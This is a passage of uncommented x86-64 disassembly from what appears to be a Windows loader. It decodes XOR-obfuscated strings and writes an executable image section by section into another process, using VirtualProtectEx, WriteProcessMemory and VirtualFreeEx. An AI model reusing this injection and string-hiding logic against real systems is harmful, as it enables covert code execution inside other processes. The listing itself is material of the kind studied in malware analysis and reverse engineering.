paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm12
movd dword [rsp + 0x48], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm3, xmm2
punpckhdq xmm1, xmm12
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm12
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm12
psrad xmm2, 6
paddd xmm3, xmm12
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm12
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x4c]
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
movdqa xmm4, xmmword [0x1402842e0]
mov r8d, 0x14
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm3, xmm2
punpckhdq xmm1, xmm4
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
paddd xmm3, xmm4
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, edx
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
mov eax, r8d
lea r10, [rsp + 0x40]
add r10, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r8d
movzx r9d, r8b
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul r8d
sub r9b, cl
add edx, r8d
add r9b, 0x23
sar edx, 6
add r9b, r9b
mov eax, edx
inc r8d
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r9b, cl
xor byte [r10 - 1], r9b
cmp r8d, 0x17
jl 0x14026b300
lea rcx, [rsp + 0x40]
jmp 0x14026b59c
movzx eax, byte [0x140283a80]
mov r9d, ebx
mov byte [rbp - 0x50], al
movups xmm0, xmmword [0x140283a60]
movups xmm1, xmmword [0x140283a70]
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm1
cmp r15d, 2
jl 0x14026b529
movdqa xmmword [rsp + 0x40], xmm15
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x40]
nop
movd xmm4, r9d
lea eax, [r9 + 4]
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
pmuldq xmm2, xmm7
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
psubd xmm2, xmm4
psrad xmm3, 6
movdqa xmm1, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm4, eax
paddb xmm1, xmm0
pshufd xmm4, xmm4, 0
movd xmm0, dword [rcx - 4]
paddd xmm4, xmm9
xorps xmm1, xmm0
movdqa xmm3, xmm4
movd dword [rcx - 4], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm3, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm2, xmm3
pmuldq xmm1, xmm7
pmuldq xmm2, xmm8
pmuldq xmm3, xmm7
shufps xmm2, xmm0, 0xdd
shufps xmm3, xmm1, 0xdd
paddd xmm2, xmm4
psubd xmm3, xmm4
psrad xmm2, 6
movdqa xmm1, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm11
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
add r9d, 8
movd dword [rcx], xmm1
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x14026b3a0
cmp r9d, 0x21
jge 0x14026b598
movsxd rax, r9d
lea r10, [rbp - 0x70]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul r9d
sub r8b, cl
add edx, r9d
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc r9d
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x21
jl 0x14026b540
lea rcx, [rbp - 0x70]
mov r8d, r14d
mov rdx, rsi
call fcn.1402010d0
mov edx, 0x20
mov ecx, dword [rbp + 0x60]
add rsi, 0x28
movzx eax, word [r13 + 6]
inc ecx
mov dword [rbp + 0x60], ecx
cmp ecx, eax
jne 0x14026aec0
movzx eax, word [r13 + 0x14]
mov r9d, 2
mov dword [rbp + 0x6c], ebx
mov rdx, r12
mov rcx, rdi
mov r8d, dword [rax + r13 + 0x24]
lea rax, [rbp + 0x6c]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rsi, qword [rbp - 0x30]
mov r9d, 0x1000
mov r8, qword [rbp - 0x38]
mov rdx, rsi
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14026b84f
movups xmm1, xmmword [0x1402838a8]
movups xmm0, xmmword [0x140283898]
movups xmmword [rbp - 0x60], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rbp - 0x70], xmm0
test al, al
je 0x14026b846
mov r9d, ebx
cmp r15d, 2
jl 0x14026b7e3
movdqa xmmword [rsp + 0x40], xmm15
lea rcx, [rbp - 0x6c]
mov r8d, dword [rsp + 0x40]
mov edx, ebx
nop word [rax + rax]
movd xmm4, edx
lea eax, [rdx + 4]
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
pmuldq xmm2, xmm7
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
psubd xmm2, xmm4
psrad xmm3, 6
movdqa xmm1, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, r8d
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm4, eax
paddb xmm1, xmm0
pshufd xmm4, xmm4, 0
movd xmm0, dword [rcx - 4]
paddd xmm4, xmm9
xorps xmm1, xmm0
movdqa xmm3, xmm4
movd dword [rcx - 4], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm3, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm2, xmm3
pmuldq xmm1, xmm7
pmuldq xmm2, xmm8
pmuldq xmm3, xmm7
shufps xmm2, xmm0, 0xdd
shufps xmm3, xmm1, 0xdd
paddd xmm2, xmm4
psubd xmm3, xmm4
psrad xmm2, 6
movdqa xmm1, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm11
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, r8d
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
add edx, 8
movd dword [rcx], xmm1
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x14026b660
jmp 0x14026b846
lea r10, [rbp - 0x70]
nop word [rax + rax]
mov eax, 0x1f7047dd
lea r10, [r10 + 1]
mul r9d
mov eax, r9d
movzx r8d, r9b
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x39
mov eax, 0x38138139
mul r9d
sub r8b, cl
mov eax, r9d
sub eax, edx
inc r9d
shr eax, 1
add r8b, 0x23
add eax, edx
add r8b, r8b
shr eax, 6
movsx eax, al
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x20
jl 0x14026b7f0
lea rcx, [rbp - 0x70]
call fcn.1402010d0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x14026bac1
movzx eax, word [0x1402837b8]
mov r9d, ebx
mov word [rbp - 0x48], ax
movups xmm0, xmmword [0x140283790]
movups xmm1, xmmword [0x1402837a0]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x1402837b0]
movsd qword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x60], xmm1
cmp r15d, 2
jl 0x14026ba49
movdqa xmmword [rsp + 0x40], xmm15
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, r9d
lea eax, [r9 + 4]
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm4, eax
paddb xmm1, xmm0
pshufd xmm4, xmm4, 0
movd xmm0, dword [rcx - 4]
paddd xmm4, xmm9
xorps xmm1, xmm0
movdqa xmm2, xmm4
movd dword [rcx - 4], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
add r9d, 8
movd dword [rcx], xmm1
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x14026b8c0
cmp r9d, 0x2a
jge 0x14026bab8
movsxd rax, r9d
lea r10, [rbp - 0x70]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul r9d
sub r8b, cl
add edx, r9d
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc r9d
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x2a
jl 0x14026ba60
lea rcx, [rbp - 0x70]
call fcn.1402010d0
mov rdx, qword [rsp + 0x70]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x14026bd1b
mov eax, dword [0x1402838e0]
mov dword [rbp - 0x48], eax
movups xmm0, xmmword [0x1402838b8]
movups xmm1, xmmword [0x1402838c8]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x1402838d8]
movsd qword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x60], xmm1
cmp r15d, 2
jl 0x14026bcb4
movdqa xmmword [rsp + 0x40], xmm15
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, ebx
lea eax, [rbx + 4]
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm4, eax
paddb xmm1, xmm0
pshufd xmm4, xmm4, 0
movd xmm0, dword [rcx - 4]
paddd xmm4, xmm9
xorps xmm1, xmm0
movdqa xmm2, xmm4
movd dword [rcx - 4], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
add ebx, 8
movd dword [rcx], xmm1
lea rcx, [rcx + 8]
cmp ebx, 0x28
jl 0x14026bb30
cmp ebx, 0x2c
jge 0x14026bd12
movsxd rax, ebx
lea r9, [rbp - 0x70]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul ebx
sub r8b, cl
add edx, ebx
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc ebx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x2c
jl 0x14026bcc0
lea rcx, [rbp - 0x70]
call fcn.1402010d0
mov al, 1
jmp 0x14026c30e
movzx eax, word [0x1402839c8]
mov word [rsp + 0x50], ax
movzx eax, byte [0x1402839ca]
mov byte [rsp + 0x52], al
movups xmm4, xmmword [0x1402839b8]
movups xmmword [rsp + 0x40], xmm4
cmp r15d, 2
jl 0x14026c037
movdqa xmm2, xmm9
movd ecx, xmm15
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
movdqa xmm3, xmm2
punpckhdq xmm1, xmm9
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
movd eax, xmm4
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm9
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm9
psrad xmm2, 6
paddd xmm3, xmm9
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm14
pmulld xmm0, xmm11
psubd xmm1, xmm0
punpckldq xmm2, xmm14
andps xmm1, xmm6
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm9, xmm0
packuswb xmm1, xmm1
movdqa xmm3, xmm2
movd xmm0, ecx
pmuldq xmm2, xmm7
andps xmm9, xmm6
pmuldq xmm3, xmm8
packuswb xmm9, xmm9
packuswb xmm9, xmm9
paddb xmm1, xmm9
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm14
punpckhdq xmm1, xmm14
movdqa xmm0, xmm1
pmuldq xmm1, xmm7
pmuldq xmm0, xmm8
shufps xmm2, xmm1, 0xdd
movd xmm1, dword [rsp + 0x44]
psubd xmm2, xmm14
psrad xmm2, 6
shufps xmm3, xmm0, 0xdd
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm3, xmm14
paddd xmm0, xmm2
psrad xmm3, 6
pmulld xmm0, xmm11
movdqa xmm2, xmm14
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm14, xmm0
movd xmm0, ecx
andps xmm14, xmm6
packuswb xmm14, xmm14
packuswb xmm14, xmm14
paddb xmm2, xmm14
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
movdqa xmm3, xmm2
punpckhdq xmm1, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
mov ebx, 0x10
pmuldq xmm3, xmm8
pmuldq xmm1, xmm7
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm13
movd xmm1, dword [rsp + 0x48]
psubd xmm2, xmm13
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm13
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm13, xmm0
movd xmm0, ecx
andps xmm13, xmm6
packuswb xmm13, xmm13
packuswb xmm13, xmm13
paddb xmm2, xmm13
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm12
movd dword [rsp + 0x48], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm3, xmm2
punpckhdq xmm1, xmm12
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm3, xmm8
pmuldq xmm1, xmm7
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm12
movd xmm1, dword [rsp + 0x4c]
psubd xmm2, xmm12
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm12
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm12, xmm0
movd xmm0, ecx
andps xmm12, xmm6
packuswb xmm12, xmm12
packuswb xmm12, xmm12
paddb xmm2, xmm12
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
mov eax, ebx
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul ebx
sub r8b, cl
add edx, ebx
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc ebx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x13
jl 0x14026c041
lea rcx, [rsp + 0x40]
call fcn.1402010d0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp - 0x30]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14026c30c
movups xmm1, xmmword [0x1402837f0]
movups xmm0, xmmword [0x1402837e0]
movups xmmword [rbp - 0x60], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rbp - 0x70], xmm0
test al, al
je 0x14026c300
cmp r15d, 2
jl 0x14026c2a3
movdqa xmmword [rsp + 0x40], xmm15
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x40]
movd xmm4, ebx
lea eax, [rbx + 4]
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
pmuldq xmm2, xmm7
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
psubd xmm2, xmm4
psrad xmm3, 6
movdqa xmm1, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm4, eax
paddb xmm1, xmm0
pshufd xmm4, xmm4, 0
movd xmm0, dword [rcx - 4]
paddd xmm4, xmm9
xorps xmm1, xmm0
movdqa xmm3, xmm4
movd dword [rcx - 4], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm3, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm2, xmm3
pmuldq xmm1, xmm7
pmuldq xmm2, xmm8
pmuldq xmm3, xmm7
shufps xmm2, xmm0, 0xdd
shufps xmm3, xmm1, 0xdd
paddd xmm2, xmm4
psubd xmm3, xmm4
psrad xmm2, 6
movdqa xmm1, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm11
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
add ebx, 8
movd dword [rcx], xmm1
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x14026c122
jmp 0x14026c300
lea r9, [rbp - 0x70]
nop word [rax + rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul ebx
mov eax, ebx
movzx r8d, bl
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x39
mov eax, 0x38138139
mul ebx
sub r8b, cl
mov eax, ebx
sub eax, edx
inc ebx
shr eax, 1
add r8b, 0x23
add eax, edx
add r8b, r8b
shr eax, 6
movsx eax, al
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x20
jl 0x14026c2b0
mov edx, r10d
lea rcx, [rbp - 0x70]
call fcn.1402010d0
xor al, al
movaps xmm14, xmmword [rsp + 0x190]
movaps xmm13, xmmword [rsp + 0x1a0]
movaps xmm12, xmmword [rsp + 0x1b0]
movaps xmm15, xmmword [rsp + 0x180]
mov r14, qword [rsp + 0x220]
mov rsi, qword [rsp + 0x270]
mov r12, qword [rsp + 0x230]
mov r13, qword [rsp + 0x228]
movaps xmm11, xmmword [rsp + 0x1c0]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.140271640
lea r11, [rsp + 0x238]
movaps xmm6, xmmword [r11 - 0x28]
movaps xmm7, xmmword [r11 - 0x38]
movaps xmm8, xmmword [r11 - 0x48]
movaps xmm9, xmmword [r11 - 0x58]
movaps xmm10, xmmword [r11 - 0x68]
mov rsp, r11
pop r15
pop rdi
pop rbx
pop rbp
ret